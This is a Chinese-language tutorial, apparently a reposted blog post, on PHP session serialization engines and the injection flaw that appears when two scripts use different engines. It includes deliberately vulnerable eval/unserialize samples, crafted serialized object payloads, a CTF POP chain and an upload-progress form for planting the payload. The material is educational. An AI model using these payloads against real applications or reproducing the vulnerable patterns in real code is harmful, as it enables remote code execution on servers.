在php.ini中存在三项配置项: session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php 以上的选项就是与PHP中的Session存储和序列话存储有关的选项。 在使用xampp组件安装中,上述的配置项的设置如下: session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下 session.save_handler=files 表明session是以文件的方式来进行存储的 session.auto_start=0 表明默认不启动session session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎 在上述的配置中, session.serialize_handler 是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。
在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码 ini_set('session.serialize_handler', '需要设置的引擎'); 。示例代码如下: <?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); // do something 存储机制php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项 session.save_handler 来进行确定的,默认是以文件的方式存储。 存储的文件是以 sess_sessionid 来进行命名的,文件的内容就是session值的序列话之后的内容。 假设我们的环境是xampp,那么默认配置如上所述。 在默认配置情况下: <?php session_start() $_SESSION['name'] = 'spoock'; var_dump(); ?> 最后的session的存储和显示如下: 可以看到PHPSESSID的值是 jo86ud4jfvu81mbg28sl2s56c2 ,而在 xampp/tmp 下存储的文件名是 sess_jo86ud4jfvu81mbg28sl2s56c2 ,文件的内容是 name|s:6:"spoock"; 。name是键值, s:6:"spoock"; 是 serialize("spoock") 的结果。 在php_serialize引擎下: <?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['name'] = 'spoock'; var_dump(); ?> SESSION文件的内容是 a:1:{s:4:"name";s:6:"spoock";} 。 a:1 是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。 在php_binary引擎下: <?php ini_set('session.serialize_handler', 'php_binary'); session_start(); $_SESSION['name'] = 'spoock'; var_dump(); ?> SESSION文件的内容是 names:6:"spoock"; 。由于 name 的长度是4,4在ASCII表中对应的就是 EOT 。根据php_binary的存储规则,最后就是 names:6:"spoock"; 。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧) 序列化简单利用test.php <?php class syclover{ var $func=""; function __construct() { $this->func = "phpinfo()"; } function __wakeup(){ eval($this->func); } } unserialize($_GET['a']); ?> 在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问 localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";} 。那么反序列化得到的内容是: object(syclover)[1] public 'func' => string 'echo "spoock";' (length=14) 最后页面输出的就是spoock,说明最后执行了我们定义的 echo "spoock"; 方法。 这就是一个简单的序列化的漏洞的演示 PHP Session中的序列化危害PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。 如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如: $_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}'; 上述的$_SESSION的数据使用 php_serialize ,那么最后的存储的内容就是 a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";} 。 但是我们在进行读取的时候,选择的是 php ,那么最后读取的内容是: array (size=1) 'a:1:{s:6:"spoock";s:24:"' => object(__PHP_Incomplete_Class)[1] public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11) 这是因为当使用php引擎的时候,php引擎会以 | 作为作为key和value的分隔符,那么就会将 a:1:{s:6:"spoock";s:24:" 作为SESSION的key,将 O:11:"PeopleClass":0:{} 作为value,然后进行反序列化,最后就会得到PeopleClas这个类。 这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。 实际利用存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、 s1.php,使用php_serialize来处理session <?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION["spoock"]=$_GET["a"]; us2.php,使用php来处理session ini_set('session.serialize_handler', 'php'); session_start(); class lemon { var $hi; function __construct(){ $this->hi = 'phpinfo();'; } function __destruct() { eval($this->hi); } } 当访问s1.php时,提交如下的数据: localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";} 此时传入的数据会按照 php_serialize 来进行序列化。 此时访问us2.php时,页面输出, spoock 成功执行了我们构造的函数。因为在访问us2.php时,程序会按照 php 来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。 CTF在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下: class.php <?php highlight_string(file_get_contents(basename($_SERVER['PHP_SELF']))); //show_source(__FILE__); class foo1{ public $varr; function __construct(){ $this->varr = "index.php"; } function __destruct(){ if(file_exists($this->varr)){ echo "<br>文件".$this->varr."存在<br>"; } echo "<br>这是foo1的析构函数<br>"; } } class foo2{ public $varr; public $obj; function __construct(){ $this->varr = '1234567890'; $this->obj = null; } function __toString(){ $this->obj->execute(); return $this->varr; } function __desctuct(){ echo "<br>这是foo2的析构函数<br>"; } } class foo3{ public $varr; function execute(){ eval($this->varr); } function __desctuct(){ echo "<br>这是foo3的析构函数<br>"; } } ?> index.php <?php ini_set('session.serialize_handler', 'php'); require("./class.php"); session_start(); $obj = new foo1(); $obj->varr = "phpinfo.php"; ?> 通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。 那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下: myindex.php <?php class foo3{ public $varr='echo "spoock";'; function execute(){ eval($this->varr); } } class foo2{ public $varr; public $obj; function __construct(){ $this->varr = '1234567890'; $this->obj = new foo3(); } function __toString(){ $this->obj->execute(); return $this->varr; } } class foo1{ public $varr; function __construct(){ $this->varr = new foo2(); } } $obj = new foo1(); print_r(serialize($obj)); ?> 在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为 echo "spoock" 。最终得到的序列话的值是 O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}} 这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的 echo "spoock"; 的方法了。 写入的方式主要是利用PHP中 Session Upload Progress 来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下: <form action="index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form> 最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。 那么最终写入的文件名是 |O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}} 。注意与本地反序列化不一样的地方是要在最前方加上 | 但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。 总结通过对PHP中的SESSION的分析,对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识,也有助于程序员加强在PHP中的SESSION机制的理解。 (责任编辑:最模板) |